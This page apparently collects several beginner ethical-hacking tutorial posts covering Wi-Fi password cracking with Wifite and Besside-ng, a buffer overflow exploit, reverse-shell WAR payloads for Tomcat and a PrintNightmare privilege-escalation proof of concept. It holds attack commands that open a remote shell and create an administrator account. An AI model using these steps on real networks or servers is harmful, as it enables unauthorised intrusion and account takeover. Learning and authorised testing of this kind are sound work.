Posted on

Cracking Wifi passwords automatically with Wifite

Hello aspiring ethical hackers. In our previous blogpost, you learnt how to crack WEP and WPA network passwords automatically with Besside. this article, you will learn about a tool named Wifite that can crack WEP, WPA and WPS networks automatically. Wifite is an automatic Wireless password cracking tool that tries almost all known methods of wireless cracking like Pixie-Dust attack, Brute-Force PIN attack, NULL PIN attack, WPA Handshake Capture + offline crack, The PMKID Hash Capture + offline crack and various WEP cracking attacks.

Let’s see how this tool works. For this, we will be using Kali Linux, as this tool is available by default in its repositories. We will also be needing a wireless adapter that can monitor wireless packets. I am using ALFA AWVS036NHA adapter for this article. Just like any wireless password cracking method, Wifite needs monitor mode to be enabled on the wireless interface as shown below. However, it automatically enables this monitor mode but if it fails to enable it, you can enable it manually as shown below.

Let’s see how Wifite works in cracking WEP, WPA and WPS enabled networks. Once the interface is in monitor mode, open a terminal and start Wifite using command as shown below.

sudo wifite

Cracking WEP

wifite

It starts displaying all the wireless networks in your vicinity as shown below.

Let’s target the Access Point “Hack_Me_If_You_Can” which has WEP security enabled. Once you select the access point you want to target, hit CTRl + C and enter the number of that access point. In our case it is “1”.

As soon as you enter the number of that access point, Wifite tries out various attacks against the access point and grabs its password as shown below.

Cracking WPA2

WEP is too easy. Let’s see how it fares in cracking WPA password. We start Wifite as shown above. Our target is once again “Hack_Me_If_You_Can”. However, as you can see it is secured with WPA now.

It starts attacking employing  various methods as shown below.

Cracking WPS pin

Now, let’s target a Access Point with WPS pin enabled.

Well, If you get WPA PASSPHRASE as soon as you crack WPS pin, you are lucky. However, sometimes the WPS pin is cracked but the WPA-PSK key is not shown. For example, see the image below.

In the above image, we can clearly see that the Wifite cracked WPS pin successfully but failed to retrieve the WPA passphrase. To get the WPA passphrase in such cases, open a new terminal and type the command shown below.

sudo systemctl stop NetworkManager

Then using your favorite text editor, open the file “wpa_supplicant.conf” located in  /etc directory.

You should see the contents of the file as shown below.

If there is any data more than this, delete it and just leave the above three lines. Then, run the command shown below.

sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf

Leave this terminal open and open another new terminal window and run the command as shown below.

sudo wpa_cli

It goes into interactive mode.

While interactive mode is active, type the following command as shown below.

status

Many events will take place but what we are looking for is an event that says “connected”.  Once that happens, check the “wpa_supplicant.conf” file and you should be seeing WPA-PSK passphrase of the wireless network as shown below.

wps pin

As you can see, Wifite is successful in cracking WEP, WPA and WPS keys automatically without running any complex commands . Next, learn about Evil Twin attack on wireless networks.

Posted on 1 Comment

Automatically crack WEP & WPA networks with Besside -ng

Hello aspiring ethical hackers. In our previous article, WiFi hacking, you have learnt all the basics you need to learn about auditing wireless networks. In this article, you will learn about a tool Besside -ng, which can automatically crack WEP passwords and log WPA handshakes. This tool authored by Andrea Bittau is made in the line of another tool, Wesside-ng which can only crack WEP passwords automatically.

Let’s see how this tool works. For this we will be using Kali Linux as Besside-ng is installed by default on it. We will also need a Wifi adapter that allows packet monitoring. For this, we will be using ALFA AWVS036NHA wifi adapter.

Before you run Besside-ng, monitor mode should be enabled on the wireless interface as shown below.

Once monitor mode is enabled on the wireless interface, we can run Besside-ng as shown below to automatically crack all the WEP passwords and log WPA handshakes.

If you want to crack the WEP password of a single Access Point, the command is as shown below

where “-c” is used to specify the channel the Wireless Access Point is running on and “-b” is the –bssid of the Wi -Fi access point.

how to use besside to crack wifi passwords

Besside-ng automatically starts creating traffic and cracking the WEP key as shown below.

As you can see in the above image, it cracked a 64bit ASCII WEP key in less than 1 minute. How about 64 bit hexadecimal WEP key that’s a bit complex.

This key was cracked in 63 seconds. How long it will take to crack the same key we cracked earlier with aircrack?

It took just 45 seconds to crack the password. This time, I generated a complex WEP key and tried again. The key was cracked in around 15 minutes as shown below.

Here’s the WEP key I set.

Just like cracking WEP, even Cracking WPA can be automated using tool besside-ng. To do this, we run besside-ng on the target wi-fi network.

Besside-ng automatically captures WPA handshake. Then all we have to do is run aircrack on the wpa.cap file.

The WPA key has been cracked successfully. Next, learn about Wifite, which can automatically crack WEP, WPA and WPS.

Posted on

Buffer Overflow for Beginners : Part 2

Hello aspiring Ethical Hackers. In Part 2 of Buffer Overflow foe beginners, we will see how to write an exploit for a buffer overflow vulnerability. In Part 1 of this article, readers have learnt practically as to what buffer overflow is and how a buffer overflow vulnerability can be identified in a program using fuzzing. Our readers have also seen how we exploited it.

But manually fuzzing the program can be tiresome sometimes. In the example we have shown in the previous article, the buffer only needed 32 characters to be overflown but what if the buffer has a very large (let’s say 1000) size. Manual fuzzing in such cases becomes a tiresome process.

We need some automation and simplification. It’s time to introduce PEDA. PEDA is a Python Exploit Development Assistance for GNU Debugger. It enhances the functionality of the GNU Debugger by displaying disassembly codes, `registers and memory information during debugging. It also allows users to create a random pattern within the gdb console and also find the offset etc. We will learn more about the tool practically. This tool can be installed as shown below.

Now let’s go into our C lab and load the program “second” with GDB normally as shown below. This is the same program we have used in Part1 of this article. As the program loads, you will see that the interface now shows “gdb-peda” instead of just “gdb” as in the previous article.

Let us test this program once again for the buffer overflow vulnerability. Here’s the disassembled code of the program “second”.

Let’s create a string of random characters of a specific length, say 50. This can be done using the “pattern_create” command in peda. Copy the random string.

Now let’s run the program. When it prompts you the question, “Name which superhero you want to be”, paste the string we just copied and click on “Enter”. Gdb-peda gives us information about the memory registers as shown below.

buffer overflow for beginers

It also shows us the code being executed but the most important thing it shows is the memory stack.

If you observe the stack of the program above, you can see that the string of random characters we provided as input is allocated into two memory areas. The highlighted part went into first buffer and the rest of the random characters went into the second memory area.

Instead of counting how many characters are in the first memory area, we can find the number of characters using “pattern_offset” command. We copy the random characters that went into the first buffer and use it as shown below to find the offset.

We call it as offset as we need to fill this area with random characters as no code will be executed in this offset area (as in the Part 1 of this article). The offset is 32. Well, since we no- w know the offset, let’s write an exploit for this vulnerable program. Open a new file and write the exploit as shown below.

This is a simple python exploit and the comments should explain you what it does. Let us give you more information about it. The first line of the code is basically telling the exploit to launch a python interpreter. In the second and third line, we are importing pwntools and OS modules respectively. The pwntools library has all the functions needed in penetration testing and OS module has operating system functions. In the next line we declare a variable named “path” and assign it a function os.getcwd() . This function gets the current working directory (If the OS module is not imported, this line will not work).

In the next line, another variable is declared with the name “program” and we assign it the program we want this exploit to target. As our target program is named “second” we give that name. In the next line, the “full_path” variable combines both the “path” and “program” variables to get the full working path of the program. Till this part of the code, we have reached the program we want to exploit.

Now the exploitation part. The “fill_buffer” variable fills the offset area with 32 iterations of “C” (It can be any character of your choice, but make sure its 32 for this program). In the next line we are specifying the command to be executed after the buffer is filled. Here its is “whoami”.

The exploit only works when the buffer is filled and then the command is executed. So we need to combine the “fill_buffer” and “cmd” results. The process() command start the target program while the p.sendline(bof) command sends the output of “bof” to the program already started. The p.interactive() gives the user the control after the exploit runs. Once coding is finished, save the exploit with any name you want. We named it bof1.py. Then run it as shown.

As you can see in the above image, after filling the buffer the exploit was successful in executing the command “whoami”. Now change the command to be executed and run the exploit again.

Once again it runs successfully and executes the command. This gives us a shell. This is how buffer overflow exploits are written.

When most of our readers ask as to which programming language to start learning with in the journey of ethical hacking or penetration testing, Our suggestion is always python and yo -u now know why? Python is very simple but still effective. It has a readable and easily maintainable code compared to other programming languages. Hence, it is very easy to learn. In just about ten lines, you have written the first buffer overflow exploit although its for a intentionally vulnerable program.

Posted on

Tomcat War Deployer: A beginners guide

Hello, aspiring ethical hackers. In this article you will learn about Tomcat War Deployer, a tool used to pen test Apache Tomcat server. Apache Tomcat, popularly known as Tomcat is a free, open-source and pure Java HTTP web server environment in which Java code can also be run. It is one of the widely used web servers.

Tomcat War Deployer is a tool that helps us to create WAR payloads which can be used in Tomcat penetration testing. A WAR file is a web a created in java that can include servlet, xml , jsp, image, html, css and js files etc. For this article, I will be using Kali Linux as attacker machine and a Tomcat instance as target. Tomcat war deployer can be installed on Kali Linux by cloning it from this GitHub link as shown below.

Once the cloning of the repository is successful, you should see a new directory named tomcatWarDeployer. Move into that directory and type the command highlighted in the image given below. The “-h” option is help and it displays all the commands of this tool.

how to use tomcat war deployer to hack tomcat targets

Let’s see how to create a payload with Tomcat War Deployer. This is done using command shown below.

./tomcatWarDeployer.py -H <Listener IP> -p <Listening port> -G <name of payload>

The “-H” option is used to specify the host IP address to which we want our shell to be connected (i.e the listener IP address). The “-p” option specifies the port on which the shell should connect to (listening port). The “-G” option is used to specify the name of the output file. We named it “tomcat_shell” for this article.

Let’s upload this shell to the Tomcat instance.

Before executing it, let’s start a Netcat listener on attacker system’s port 4646.

When you click on the payload on the target, you will see something as shown below. Your payload is protected with a password to prevent its misuse from other hackers. However, this password is randomly generated and even you will lose access if you forget it.

The “-X” option is used to set the password for our payload. Setting it to “None” as shown below will not set any password for our payload.

You can set any password you want as shown below. Here, we set it to “hcool”.

The “-v” option is used to set the verbose mode. This gives more clear details about the creation of payloads. You can see it below.

Now, let’s create a payload named “tomcat_shell.war” without any password.

Here’s how itslooks.

Let’s create the payload with password “123456”. It is wise to generate a payload with a password while penetration testing to avoid others from misusing it.

The “-s” option simulates the breach without performing any offensive actions.

Simulation helps us to verify if the attack works without changing anything on the target system. The “-U” option is used to set the username and “-P” option is used to set the password. These are the credentials of our target Tomcat instance.

In the above image, the simulation says that it reached the target, validated the credentials and did everything to prove that the attack works, but it did not deploy the payload.
By default, tomcat war deployer connects to the spawned shell immediately. The “-C” option specifies not to connect to the spawned shell immediately. We can specify the target IP address and port at the end of the command as shown below.

At our Netcat listener, we already have a shell as you can see in the image below.

If you don’t specify the “-C” option, shell will be automatically spawned as shown below.

Finally, after the penetration test is completed, you can delete the uploaded payload using the “-R” option. You need to specify the name of the payload with the “-n” option. The example is shown below.

Posted on

Beginners guide to PrintNightmare vulnerability

Hello, aspiring ethical hackers. In our previous blogpost, you learnt about EternalBlue vulnerability. In this article, you will learn about another critical vulnerability called PrintNightmare vulnerability.

What is PrintNightmare vulnerability?

PrintNightmare is a vulnerability that affects the Microsoft’s Windows operating systems. This vulnerability is present in the print spooler service of Microsoft Windows. The printer spooler service is used for printing services and is turned on by default. The versions of Windows vulnerable to PrintNightmare include Windows 7 to Windows 10 and windows Server 2008 to the latest version of Windows Servers.

Proof of Concept (PoC)

The PrintNightmare vulnerability has two variants : one allows unauthorized remote code execution (CVE-2021-34527) and the other allows unauthorized privilege escalation (CVE-2021-1675). In this article, readers will see a proof of concept for exploiting the privilege escalation vulnerability. For this, we will use Windows 10 version 1809 as target system. The PowerShell Script we used in this demo can be downloaded from GitHub.

In this scenario, let’s imagine I already have access to the target machine as a user with low privileges. The first thing we have to do is to confirm if the printer spooler service is running on the target system or not. This can be done using PowerShell command given below.

"Get-Service -Name "spooler""

The print spooler service is running on the target system. As you can see in the images below, I am running as a user with very limited privileges.

Next, I download the PowerShell script and import it using command shown below.

Import-Module .\<script Name>

Once the module is successfully imported, I execute the script with command to create a new user as shown below.

"Invoke-Nightmare -NewUser "<username to create>" -NewPassword  <password for that new user> DriverName "PrintMe""


This command will create a new user on the target system with administrator privileges.

How to exploit printnightmare

In the image above, you can see that a new user named “hacker” has been created. Now, let’s check the privileges of this user.

As you can see, the new user we created belongs to the local administrators group. You can login as that user.

The PoC is successful.